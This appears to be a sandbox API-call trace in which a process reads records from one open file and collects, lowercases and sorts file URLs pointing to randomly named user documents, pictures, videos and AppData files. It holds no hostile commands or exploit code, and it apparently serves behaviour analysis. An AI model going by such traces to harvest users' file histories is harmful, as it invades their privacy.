[0079.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf") returned 62
[0079.454] SetFilePointer (in: hFile=0x9c, lDistanceToMove=49664, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc200
[0079.454] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.454] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.454] SetFilePointer (in: hFile=0x9c, lDistanceToMove=49664, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc200
[0079.454] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.454] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/jOsIaZ/PgP_.mkv" | out: _Str="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv") returned="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv"
[0079.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv") returned 51
[0079.454] SetFilePointer (in: hFile=0x9c, lDistanceToMove=49920, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc300
[0079.454] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.454] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.454] SetFilePointer (in: hFile=0x9c, lDistanceToMove=49920, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc300
[0079.454] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.454] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/hDLvAZKIf3vkcCxBdo.docx" | out: _Str="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx") returned="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx"
[0079.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx") returned 62
[0079.454] SetFilePointer (in: hFile=0x9c, lDistanceToMove=50176, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc400
[0079.455] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.455] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.455] SetFilePointer (in: hFile=0x9c, lDistanceToMove=50176, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc400
[0079.455] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.455] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/NnhT-QiXy.docx" | out: _Str="file:///c:/users/atveydl98z/documents/nnht-qixy.docx") returned="file:///c:/users/atveydl98z/documents/nnht-qixy.docx"
[0079.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/nnht-qixy.docx") returned 53
[0079.455] SetFilePointer (in: hFile=0x9c, lDistanceToMove=50432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc500
[0079.455] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.455] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.455] SetFilePointer (in: hFile=0x9c, lDistanceToMove=50432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc500
[0079.455] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.455] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/61WSAuRg.bmp" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp") returned="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp"
[0079.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp") returned 57
[0079.456] SetFilePointer (in: hFile=0x9c, lDistanceToMove=50688, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc600
[0079.456] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.456] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.456] SetFilePointer (in: hFile=0x9c, lDistanceToMove=50688, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc600
[0079.456] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.456] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/U4m-9pZJCPhsi6.swf" | out: _Str="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf") returned="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf"
[0079.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf") returned 55
[0079.456] SetFilePointer (in: hFile=0x9c, lDistanceToMove=50944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc700
[0079.456] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.456] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.456] SetFilePointer (in: hFile=0x9c, lDistanceToMove=50944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc700
[0079.456] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.459] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/XtVHwziC5KkEhEQytAGm.xls" | out: _Str="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls") returned="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls"
[0079.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls") returned 61
[0079.459] SetFilePointer (in: hFile=0x9c, lDistanceToMove=51200, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc800
[0079.459] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.459] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.459] SetFilePointer (in: hFile=0x9c, lDistanceToMove=51200, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc800
[0079.459] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.459] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/tQcK56JEAC.png" | out: _Str="file:///c:/users/atveydl98z/pictures/tqck56jeac.png") returned="file:///c:/users/atveydl98z/pictures/tqck56jeac.png"
[0079.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/tqck56jeac.png") returned 52
[0079.459] SetFilePointer (in: hFile=0x9c, lDistanceToMove=51456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc900
[0079.459] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.459] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.459] SetFilePointer (in: hFile=0x9c, lDistanceToMove=51456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc900
[0079.459] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.460] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/gLCl.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/glcl.pptx") returned="file:///c:/users/atveydl98z/documents/glcl.pptx"
[0079.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/glcl.pptx") returned 48
[0079.460] SetFilePointer (in: hFile=0x9c, lDistanceToMove=51712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xca00
[0079.460] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.460] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.460] SetFilePointer (in: hFile=0x9c, lDistanceToMove=51712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xca00
[0079.460] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.460] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Vfr7MWb/3tyaTZvc1Z7KhwIE.gif" | out: _Str="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif") returned="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif"
[0079.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif") returned 65
[0079.460] SetFilePointer (in: hFile=0x9c, lDistanceToMove=51968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcb00
[0079.460] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.460] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.460] SetFilePointer (in: hFile=0x9c, lDistanceToMove=51968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcb00
[0079.460] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.460] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/EoRqdbqjTJF1OHK.png" | out: _Str="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png") returned="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png"
[0079.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png") returned 57
[0079.461] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.461] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/ZkrsD-4QoaX5JM7.png" | out: _Str="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png") returned="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png"
[0079.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png") returned 57
[0079.461] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.461] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/NP2rpT4NzHNMZVjOcd.jpg" | out: _Str="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg") returned="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg"
[0079.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg") returned 60
[0079.461] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.461] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/MCYGB.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/mcygb.pptx") returned="file:///c:/users/atveydl98z/documents/mcygb.pptx"
[0079.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/mcygb.pptx") returned 49
[0079.461] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.461] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Gu-F.gif" | out: _Str="file:///c:/users/atveydl98z/desktop/gu-f.gif") returned="file:///c:/users/atveydl98z/desktop/gu-f.gif"
[0079.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/gu-f.gif") returned 45
[0079.462] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.462] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/DoTTc_9pLZQ5O597iMzE.ots" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots") returned="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots"
[0079.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots") returned 69
[0079.462] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.462] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/2GRp.xlsx" | out: _Str="file:///c:/users/atveydl98z/documents/2grp.xlsx") returned="file:///c:/users/atveydl98z/documents/2grp.xlsx"
[0079.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/2grp.xlsx") returned 48
[0079.462] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.462] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/SIpBK.bmp" | out: _Str="file:///c:/users/atveydl98z/desktop/sipbk.bmp") returned="file:///c:/users/atveydl98z/desktop/sipbk.bmp"
[0079.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/sipbk.bmp") returned 46
[0079.462] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.462] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/wFG.mkv" | out: _Str="file:///c:/users/atveydl98z/videos/wfg.mkv") returned="file:///c:/users/atveydl98z/videos/wfg.mkv"
[0079.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/wfg.mkv") returned 43
[0079.462] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.462] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/t5_Cs_EK5wGuMUtXO.odp" | out: _Str="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp") returned="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp"
[0079.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp") returned 60
[0079.462] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.463] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/_vv7923NmD.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif") returned="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif"
[0079.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif") returned 52
[0079.463] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.463] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/S0hxf5vBqG3tUOu7yAIH.png" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png") returned="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png"
[0079.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png") returned 69
[0079.463] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.463] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/pan9H-9JW%20Sz4.doc" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc"
[0079.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc") returned 68
[0079.463] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.463] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/eC0L%20bsovAg9A8NY6n.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp") returned="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp"
[0079.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp") returned 62
[0079.463] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.463] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Olxk.ots" | out: _Str="file:///c:/users/atveydl98z/desktop/olxk.ots") returned="file:///c:/users/atveydl98z/desktop/olxk.ots"
[0079.494] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/olxk.ots") returned 45
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp") returned -1
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc") returned -1
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png") returned 1
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif") returned -1
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp") returned -1
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/wfg.mkv") returned -1
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/sipbk.bmp") returned -1
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/2grp.xlsx") returned -1
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots") returned 1
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/gu-f.gif") returned 1
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/mcygb.pptx") returned -1
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg") returned -1
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png") returned -1
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png") returned -1
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif") returned -1
[0079.494] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/glcl.pptx") returned -1
[0079.495] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/pictures/tqck56jeac.png") returned -1
[0079.495] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls") returned -1
[0079.495] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf") returned -1
[0079.495] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp") returned 1
[0079.495] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/nnht-qixy.docx") returned -1
[0079.495] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx") returned -1
[0079.495] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv") returned -1
[0079.495] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/olxk.ots", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf") returned -1
